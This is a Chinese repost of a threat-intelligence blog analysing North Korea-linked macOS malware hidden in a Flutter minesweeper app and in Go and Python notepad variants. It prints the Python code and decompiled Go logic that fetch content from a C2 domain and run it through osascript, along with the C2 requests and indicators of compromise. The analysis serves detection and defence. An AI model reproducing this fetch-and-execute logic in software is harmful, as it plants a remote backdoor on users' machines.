当前位置: 首页 > news >正文

APT 参与者将恶意软件嵌入 macOS Flutter 应用程序中

发现了一些恶意软件样本,这些样本据信与朝鲜民主主义人民共和国 (DPRK)(又称北朝鲜)有关,这些样本使用 Flutter 构建,Flutter 的设计可以对恶意代码进行混淆。JTL 深入研究了恶意代码的工作原理,以帮助保护 macOS 设备上的用户。

img

介绍

10 月下旬,Jamf Threat Labs 发现上传到 VirusTotal 的样本虽然显示出恶意意图,但报告显示这些样本是干净的。该恶意软件中的域名和技术与其他朝鲜恶意软件中使用的域名和技术非常相似,有迹象表明,该恶意软件曾被签名,甚至暂时通过了 Apple 的公证程序。目前尚不清楚该恶意软件是否已用于攻击任何目标,或者攻击者是否正在准备一种新的交付方式。

img

包装

发现的恶意软件有三种形式。Go 变体、使用 Py2App 构建的 Python 变体和 Flutter 构建的应用程序。这篇博文将重点介绍 Flutter 构建的应用程序,因为我们发现它最有趣,因为它的逆向复杂性很高。

Flutter是 Google 开发的一款框架,可简化跨平台应用程序的设计。如果开发人员正在设计一款希望在 macOS、iOS 和 Android 上保持一致的应用程序,Flutter 是一个可行的选择。

使用 Flutter 构建的应用程序具有独特的应用布局设计,为代码提供了大量隐蔽性。这是因为使用 Dart 编程语言写入主应用程序逻辑的代码包含在 dylib 中,该 dylib 随后由 Flutter 引擎加载。

img

上图显示了标准 Flutter 应用程序的布局,其中有两个值得注意的文件 - 一个主 Flutter 应用程序和一个被分配名称为 App 的 dylib 文件。更令人困惑的是,这个 dylib 不是由主应用程序直接加载的。由于 Flutter 编译其应用程序的复杂性,这个 dylib 未在主 machO 文件中列为共享库。虽然这个应用程序架构本身并没有什么恶意,但它恰好在设计上提供了一种很好的混淆途径。

恶意软件

恶意软件作者创建的 Flutter 应用程序被认为是第一阶段的有效载荷。我们最初确定了六个受感染的应用程序,其中五个使用开发者帐户签名进行签名。在我们发现时,Apple 已经撤销了这些签名。

BALTIMORE JEWISH COUNCIL, INC. (3AKYHFR584)
FAIRBANKS CURLING CLUB INC. (6W69GC943U)

img

一个名为New Updates in Crypto Exchange (2024-08-28).app(7cb8a9db65009f780d4384d5eaba7a7a5d7197c4) 的应用程序是使用 Flutter 构建的,并使用 Dart 编程语言开发。执行后,受害者将看到一个功能齐全的扫雷游戏。该游戏本身似乎是GitHub 上一个基本的开源F flutter 游戏的克隆,这是一个为 iOS 设计的项目。通过克隆项目并修改一些项目设置,它可以轻松地编译为在 macOS 上运行。

img

img

由于对应用程序进行了修改,启动应用程序时会向该域发出网络请求。这引起了我们的注意,因为该域过去mbupdate[.]linkpc[.]net曾被朝鲜恶意软件使用过。

以下是通过 HTTPS 对第二阶段恶意软件的 GET 请求。

GET /pkg/ HTTP/1.1
user-agent: dart-crx-update-request/1.0
accept-encoding: gzip
host: mbupdate[.]linkpc[.]net
content-length: 0

不幸的是,在我们分析时,服务器响应了 404 错误消息。

HTTP/1.1 404 Not Found
Date: Wed, 30 Oct 2024 15:21:02 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
Content-Length: 306
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at mbupdate[.]linkpc[.]net Port 443</address>
</body></html>

正如预期的那样,由于应用程序架构的原因,编译后的 Dart 代码会进入位于路径New Updates in Crypto Exchange (2024-08-28).app/Contents/Frameworks/App.framework/Versions/A/App(a2cd8cf70629b5bb0ea62278be627e21645466a3) 的 App dylib 文件中。

New Updates in Crypto Exchange (2024-08-28).app
└── Contents├── Frameworks│   ├── App.framework│   │   ├── App -> Versions/Current/App <----HOLDS MALICIOUS CODE│   ├── FlutterMacOS.framework│   ├── audio_session.framework│   ├── in_app_review.framework│   ├── just_audio.framework│   ├── path_provider_foundation.framework│   ├── share_plus.framework│   └── shared_preferences_foundation.framework├── Info.plist├── MacOS│   └── minesweeper├── PkgInfo└── Resources

从下面的输出中我们可以看到,快照相关符号(例如和)nm的存在表明应用程序的操作逻辑大量嵌入在预编译的 Dart 快照中,这使得分析和反编译工作变得复杂。_kDartVmSnapshotData``_kDartIsolateSnapshotInstructions

仔细查看字符串,我们可以快速确定一些支持的功能。正如预期的那样,我们在 dylib 中看到了域和用户代理字符串,但字符串的存在osascript非常有趣,因为它可能表示支持 AppleScript 执行的功能。

strings - App
....
dart-crx-update-request/1.0
dart-crx-update-request/1.0
mbupdate[.]linkpc[.]net
mbupdate[.]linkpc[.]net
osascript
osascript
....

为了进行测试,我们在本地测试环境中重定向了来自恶意域的流量,并确认该恶意软件确实执行了有效 HTTP 响应返回的任何 AppleScript 代码。我们的测试表明,第二阶段的 AppleScript 必须反向编写才能被恶意软件成功执行。

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
content-length: 51".revres eht morf egassem a si sihT" golaid yalpsid

下面是通过远程 Applescript 执行的对话框消息的示例。

img

过去,我们观察到朝鲜正在适应使用原生AppleScript 有效载荷,因此我们怀疑攻击者可能会利用类似的有效载荷来攻击 macOS 系统。

Golang 变体

我们发现了具有类似功能的恶意软件 Golang 变体,标题为New Era for Stablecoins and DeFi, CeFi (Protected).app(0b9b61d0fffd52e6c37df37dfdffefc0e121acf7)。我们在 SentinelOne 的朋友最近发布了一篇博客文章,介绍了一种使用完全相同文件名的感染媒介,并将其归因于同一威胁行为者。

如上所述,该变体之前已由 Apple 签名并公证,但其签名现已被撤销。

img

与 Flutter 变体类似,标题为 (bc6b446bad7d76909d84e7948c369996b38966d1) 的可执行文件使用 user-agentHello发出 GET 请求。hXXps://mbupdate[.]linkpc[.]net/update.php``CustomUpdateUserAgent

GET /update.php HTTP/1.1
Host: mbupdate[.]linkpc[.]net
User-Agent: CustomUpdateUserAgent/1.0
Accept-Encoding: gzip
content-length: 0

它调用osascript运行服务器响应中收到的任何 AppleScript 有效负载。

loc_122eff5:rax = _io.ReadAll(rdi, rsi, rdx, rcx, r8, r9, stack[-184], stack[-176]);
...._os/exec.Command(0x2, rsi, 0x122f3c9, &var_38, r8, r9, stack[-184], stack[-176], stack[-168], stack[-160]);rax = _os/exec.(*Cmd).CombinedOutput(0x2, rsi, 0x122f3c9, &var_38, r8, r9, stack[-184]);
....

Python 变体

Python 变体使用Py2App打包为独立应用程序包。

标题为(ee22e7768e0f4673ab954b2dd542256749502e97)的应用程序包Runner.app是临时签名的,并启动了一个功能齐全的记事本应用程序。

img

位于的启动脚本Runner.app/Contents/Resources/__boot__.py执行名为 (6f280413a40d41b8dc828250bbb8940b219940c5) 的 Python 脚本notepad_.py 。此脚本利用 tkinter(用于创建 GUI 应用程序的内置 Python 库)来实现打开、编辑和保存文件等功能。

然而,此脚本中嵌入了获取并执行远程代码的恶意逻辑。与 Flutter 变体类似,init 方法向 发送 GET 请求hXXps://mbupdate[.]linkpc[.]net/update.php。如果收到有效响应,则将内容传递给该update() 方法。

    def __init__(self,**kwargs):# Check updatetry:headers = {'User-Agent': 'python-update-request/1.10.1'}response = requests.get('hXXps://mbupdate[.]linkpc[.]net/update.php', headers=headers, timeout=5)if response.status_code == 200:#print(response.text)self.update(response.text)self.__root.destroy()except:pass

update()方法使用osascriptAppleScript 执行服务器响应,允许攻击者在受害者的系统上运行任意命令或有效负载。

    def update(self, content):cmd = """osascript -e '{}'""".format(content)os.system(cmd)

结论

本博客中发现的恶意软件显示出强烈的迹象,表明它可能正在测试更大规模的武器化。这一理论源于这样一个事实:该行为者以从头到尾组织极具说服力的社会工程活动而闻名,并且此处看到的文件名与 Flutter 构建的应用程序中向用户显示的内容不一致。这可能是为了查看经过正确签名的应用程序(恶意代码隐藏在 dylib 中)是否能获得 Apple 公证服务器的批准,以及躲过防病毒供应商的监视。

攻击者将恶意软件嵌入基于 Flutter 的应用程序并非闻所未闻,但这是我们第一次看到攻击者使用它来攻击 macOS 设备。虽然这到底是真正的恶意软件还是一种将恶意软件武器化的新方法的测试仍未可知,但我们仍会密切关注攻击者的进一步活动。

IOCs

ARCHIVES/APPS
6fa932f4eb5171affb7f82f88218cca13fb2bfdc (Multisig Risk in Stablecoin (Solana).zip - flutter variant)
"Multisig Risk in Stablecoin (Solana).app"a12ad8d16da974e2c1e9cfe6011082baab2089a3 (arjun.minesweeper.zip - flutter variant)
"New Updates in Crypto Exchanges (2024-09-01).app"eadfafb35db1611350903c7a76689739d24b9e5c (arjun.minesweeper.zip - flutter variant)
"Multisig Risks in Stablecoin and Crypto Assets (EigenLayer).app"7cb8a9db65009f780d4384d5eaba7a7a5d7197c4 (arjun.minesweeper.zip - flutter variant)
"New Updates in Crypto Exchange (2024-08-28).app"0b9b61d0fffd52e6c37df37dfdffefc0e121acf7 (com.christy.gohello.zip - golang variant)
"New Era for Stablecoins and DeFi, CeFi (Protected).app"ee22e7768e0f4673ab954b2dd542256749502e97 (Runner (1).zip - python variant)
"Runner.app"DYLIB
a2cd8cf70629b5bb0ea62278be627e21645466a3 (App - flutter variant)
6664dfdbce1e6311ea02aa2827a866919a5659cc (App - flutter variant)MACHO
dd38d7097a3359dc0d1c999225286a2f651b154e (minesweeper - universal - flutter variant)
9598e286142af837ee252de720aa550b3bea79ea (minesweeper - arm - flutter variant)
90e0e88e5b180eb1663c2b2cfe9f307ed03a301b (minesweeper - x86 - flutter variant)710f84c42ba79de7eebb2021383105ae18c0c197 (minesweeper - universal - flutter variant)
5bf18435eb0dbb31e4056549f6ec880793f49a82 (minesweeper - arm - flutter variant)
2460c6ac4d55c34e3cc11c53f2e8c136682ac934 (minesweeper - x86 - flutter variant)bc6b446bad7d76909d84e7948c369996b38966d1 (hello - universal - golang variant)
4476788a3178d53297caffca8ea21ab95352fc56 (hello - arm - golang variant)
3f51182029a2d4ed9c7cc886eb7666810904f9df (hello - x86 - golang variant)PYTHON
6f280413a40d41b8dc828250bbb8940b219940c5 (notepad_.py - python variant)TEAMID
BALTIMORE JEWISH COUNCIL, INC. (3AKYHFR584)
FAIRBANKS CURLING CLUB INC. (6W69GC943U)DOMAIN
mbupdate[.]linkpc[.]net -> 172.86.102[.]98 (c2)USER-AGENTS
dart-crx-update-request/1.0
CustomUpdateUserAgent/1.0
python-update-request/1.10.1

相关文章:

APT 参与者将恶意软件嵌入 macOS Flutter 应用程序中

发现了一些恶意软件样本,这些样本据信与朝鲜民主主义人民共和国 (DPRK)(又称北朝鲜)有关,这些样本使用 Flutter 构建,Flutter 的设计可以对恶意代码进行混淆。JTL 深入研究了恶意代码的工作原理,以帮助保护…...

第 3 章 -GO语言 基本语法

1. 注释 在编程中,注释是帮助理解代码的重要工具。Go语言支持两种类型的注释: 单行注释:以 // 开头,直到行尾都是注释。多行注释:以 /* 开始,以 */ 结束,可以跨越多行。 示例 package maini…...

【qt】控件

1.frameGeometry和Geometry区别 frameGeometry是开始从红圈开始算,Geometry从黑圈算 程序证明:使用一个按键,当按键按下,qdebug打印各自左上角的坐标(相当于屏幕左上角),以及窗口大小 Widget::Widget(QWid…...

入侵检测算法平台部署LiteAIServer视频智能分析平台行人入侵检测算法:科技守护安全的新篇章

在现代化城市快速发展的背景下,安全防范已成为城市管理与社会生活中不可或缺的一环。随着人工智能、大数据、物联网等技术的飞速发展,智能化安防系统正逐步改变着传统的安全防护模式,特别是在行人入侵检测领域,视频智能分析平台Li…...

【AiPPT-注册/登录安全分析报告-无验证方式导致安全隐患】

前言 由于网站注册入口容易被机器执行自动化程序攻击,存在如下风险: 暴力破解密码,造成用户信息泄露,不符合国家等级保护的要求。短信盗刷带来的拒绝服务风险 ,造成用户无法登陆、注册,大量收到垃圾短信的…...

【设计模式】行为型模式(二):策略模式、命令模式

行为型模式(二):策略模式、命令模式 3.策略模式(Strategy)3.1 示例3.1.1 定义策略接口3.1.2 实现具体策略3.1.3 定义上下文类3.1.4 客户端代码3.1.5 输出结果 3.2 总结3.2.1 优点3.2.2 缺点 4.命令模式(Com…...

STM32中断系统

目录 一、中断的基本概念 二、NVIC 1.NVIC的概念 2、NVIC的组成 3、NVIC的应用 4.NVIC的结构 三、外部中断EXTI 1.外部中断的概念 2.EXTI基本结构 四、EXTI外部中断的配置流程 1.开启APB2中的GPIO口/AFIO时钟 2.GPIO配置成输入模式 3.AFIO选择中断引脚 4.EXTI初始…...

window的Anaconda Powershell Prompt 里使用linux 命令

在 Windows 的 Anaconda Powershell Prompt 中使用 Linux 命令,可以通过以下几种方法来实现: 1. 使用 Git Bash 安装 Git for Windows 后,它会包含 Git Bash,允许在 Windows 上使用许多 Linux 命令。 步骤: 安装 Gi…...

Lisp 语言入门教程(一)

Lisp(“LISt Processing”)是一种古老而强大的编程语言,特别适合处理符号数据和列表。Lisp 是一种以括号和递归见长的语言,它启发了许多编程范式。以下是一个基础教程,帮助你快速了解 Lisp 的基本语法和功能。 1. 认识…...

Git - Think in Git

记录一些使用Git时的一些想法 区的概念 当 clone 仓库代码到本地后四个区相同 当编辑代码后,工作区 与其余三个区不同 当使用 add 将修改的代码暂存后,索引区与 工作区 相同 当使用 commit 将修改的代码提交后,仓库区 与 索引区 和 工作区 相…...

jmeter常用配置元件介绍总结之用linux服务器压测

系列文章目录 安装jmeter jmeter常用配置元件介绍总结之用linux服务器压测 1.编写测试脚本2.执行测试脚本 1.编写测试脚本 在linux服务器上进行压测,由于是没有界面的,因此我们可以先在界面上把压测脚本写好: 如图:我这里简单的写…...

VL210-Q4 适用于USB延长线 扩展坞

VL210芯片技术文档 一、概述 VL210是一款由VIA Technologies(威盛电子)生产的第四代先进USB 3.0 Hub控制器。它集成了多种先进技术和功能,适用于各种USB集线器应用,如独立的USB集线器、笔记本/Ultrabook停靠点/port-replicators…...

怎么样绑定域名到AWS(亚马逊云)服务器

1,拿着你买的域名去亚马逊申请一个证书。申请证书分两种,一种是去亚马逊后台填域名手动申请 ,另一种是通过API来申请,类似如下代码: 2、证验证书。有两种方式:一种是通过邮件,另一种去到域名提供…...

Clickhouse集群新建用户、授权以及remote权限问题

新建用户 create user if not exists user on cluster 集群名称 IDENTIFIED WITH plaintext_password BY 密码;给用户授查询、建表、删表的权限 GRANT create table,select,drop table ON 数据库实例.* TO user on cluster 集群名称 ;在其他节点下用户建本地表成功&#…...

OPENCV 检测直线[opencv--3]

opencv中集成了很多好用的函数,比如霍夫变换检测直线的函数,当然,考虑到看我文章的人水平,我这里只讲讲如何使用这个函数,和怎么调节其中的参数 先把运行效果PO出来吧 #include "CV_ERROR.h" #include &q…...

FFmpeg 4.3 音视频-多路H265监控录放C++开发十三.2:avpacket中包含多个 NALU如何解析头部分析

前提: 注意的是:我们这里是从avframe转换成avpacket 后,从avpacket中查看NALU。 在实际开发中,我们有可能是从摄像头中拿到 RGB 或者 PCM,然后将pcm打包成avframe,然后将avframe转换成avpacket&#xff0…...

【MATLAB】目标检测初探

文章目录 0 前言1 目标检测概述2 算法实践2.1 YOLO v22.2 YOLO v3 3 项目实践3.1 项目背景和数据集3.2 实践结果3.3 算法对比 4 工具箱与数据标注5 总结 0 前言 之前因为项目原因,做了一个基于YOLOv5实现目标检测的程序,是基于Python做的,直接…...

SpringCloud 微服务消息队列灰度方案 (RocketMQ 4.x)

目录 背景遇到的问题 RocketMQ 基础基础消息模型扩展后的消息模型部署模型相关概念点 方案对比影子Topic的方案Tag的方案UserProperty的方案影子Group的方案灰度分区的方案方案对比 灰度分区方案设计适配只有部分灰度的情况所做的功能扩展消费者(无灰度)…...

厘清标准差和标准误:因果推断的统计学基础

标准差,指 一次抽样中 个体取值间的离散程度,反映了 个体取值对样本均值的代表性。 标准误,指 多次抽样中 样本均值间的离散程度,反映了 样本均值对总体均值的代表性。 公众号原文-厘清标准差和标准误:因果推断的统计…...

GESP4级考试语法知识(贪心算法(二))

排队接水2代码&#xff1a; #include<iostream> #include<cstdio> #include<algorithm> using namespace std; struct people {int num;int time; }; people s[1001]; int n,r,a[1001]; double sum,ave; bool cmp(people x,people y) {return x.time<y.t…...

【kafka】Golang实现分布式Masscan任务调度系统

要求&#xff1a; 输出两个程序&#xff0c;一个命令行程序&#xff08;命令行参数用flag&#xff09;和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽&#xff0c;然后将消息推送到kafka里面。 服务端程序&#xff1a; 从kafka消费者接收…...

Spark 之 入门讲解详细版(1)

1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室&#xff08;Algorithms, Machines, and People Lab&#xff09;开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目&#xff0c;8个月后成为Apache顶级项目&#xff0c;速度之快足见过人之处&…...

从WWDC看苹果产品发展的规律

WWDC 是苹果公司一年一度面向全球开发者的盛会&#xff0c;其主题演讲展现了苹果在产品设计、技术路线、用户体验和生态系统构建上的核心理念与演进脉络。我们借助 ChatGPT Deep Research 工具&#xff0c;对过去十年 WWDC 主题演讲内容进行了系统化分析&#xff0c;形成了这份…...

k8s从入门到放弃之Ingress七层负载

k8s从入门到放弃之Ingress七层负载 在Kubernetes&#xff08;简称K8s&#xff09;中&#xff0c;Ingress是一个API对象&#xff0c;它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress&#xff0c;你可…...

【机器视觉】单目测距——运动结构恢复

ps&#xff1a;图是随便找的&#xff0c;为了凑个封面 前言 在前面对光流法进行进一步改进&#xff0c;希望将2D光流推广至3D场景流时&#xff0c;发现2D转3D过程中存在尺度歧义问题&#xff0c;需要补全摄像头拍摄图像中缺失的深度信息&#xff0c;否则解空间不收敛&#xf…...

vue3 字体颜色设置的多种方式

在Vue 3中设置字体颜色可以通过多种方式实现&#xff0c;这取决于你是想在组件内部直接设置&#xff0c;还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法&#xff1a; 1. 内联样式 你可以直接在模板中使用style绑定来设置字体颜色。 <template><div :s…...

HBuilderX安装(uni-app和小程序开发)

下载HBuilderX 访问官方网站&#xff1a;https://www.dcloud.io/hbuilderx.html 根据您的操作系统选择合适版本&#xff1a; Windows版&#xff08;推荐下载标准版&#xff09; Windows系统安装步骤 运行安装程序&#xff1a; 双击下载的.exe安装文件 如果出现安全提示&…...

LLM基础1_语言模型如何处理文本

基于GitHub项目&#xff1a;https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken&#xff1a;OpenAI开发的专业"分词器" torch&#xff1a;Facebook开发的强力计算引擎&#xff0c;相当于超级计算器 理解词嵌入&#xff1a;给词语画"…...

【C语言练习】080. 使用C语言实现简单的数据库操作

080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...

稳定币的深度剖析与展望

一、引言 在当今数字化浪潮席卷全球的时代&#xff0c;加密货币作为一种新兴的金融现象&#xff0c;正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而&#xff0c;加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下&#xff0c;稳定…...